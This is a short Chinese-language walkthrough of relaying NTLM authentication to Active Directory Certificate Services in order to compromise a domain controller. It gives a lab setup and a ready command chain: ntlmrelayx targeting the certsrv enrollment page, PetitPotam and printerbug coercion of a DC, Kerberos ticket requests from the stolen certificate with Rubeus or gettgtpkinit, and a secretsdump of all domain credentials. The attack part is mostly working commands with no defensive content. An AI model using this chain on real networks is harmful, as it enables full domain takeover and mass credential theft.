国外安全研究人员在6月份已经披露过攻击手法—通过证书进行中继从而来达到攻击域控的目的。
https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/
1、证书颁发机构(CA):可以向用户、机构和服务颁发证书。
2、CA WEB注册:用户可以通过web浏览器申请证书。
3、联机响应程序服务:联机响应程序服务通过对特定证书的吊销状态申请进行解码,评估这些证书的状态,并发送回包含所申请证书状态信息的签名响应来实现联机证书状态协议 (OCSP)。
4、网络设备注册服务:网络设备注册服务可根据 Cisco Systems Inc. 提供的简单证书注册协议 (SCEP) 允许路由器和其他网络设备获取证书。
配置文章参考:https://blog.csdn.net/xiezuoyong/article/details/22663039
在域内配置好ADCS后 默认会存在一个http站点http://192.168.10.20/certsrv/certfnsh.asp
攻击者将用户/机器身份验证中继到 AD CS 服务器并获取用户/机器证书。
一旦攻击者获得证书,攻击者就可以请求用户/机器 TGT 并成为网络上的该用户/机器。
攻击机:192.168.10.1 AD主域控:192.168.10.10 AD辅域控:192.168.10.20
项目地址:https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack
项目地址:https://github.com/topotam/PetitPotam/blob/main/Petitpotam.py
certutil -config - -ping
ntlmrelayx.py -t http://192.168.10.20/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller
#1、Petitpotam.py python Petitpotam.py -u '' -d '' -p '' 192.168.10.1 192.168.10.10 //python Petitpotam.py -u '' -d '' -p '' "ntlmrelay address" "DC01 address" #2、printerbug.py python printerbug.py abc/Yyy:123.com@192.168.10.10 192.168.10.1
生成的证书会在较长的时间内有效默认一年有效期
#Rubeus.exe Rubeus.exe asktgt /user:HC$ /certificate:certificatebase64body /ptt #gettgtpkinit.py python3 gettgtpkinit.py abc.com/DC2012$ -pfx-base64 MIIRZQIBAzCCES8GCSqGSIb3DQEHAa....... kirbi.ccache #导入票据 export KRB5CCNAME=kirbi.ccache
secretsdump.py -k win-2016-dc.god.com -just-dc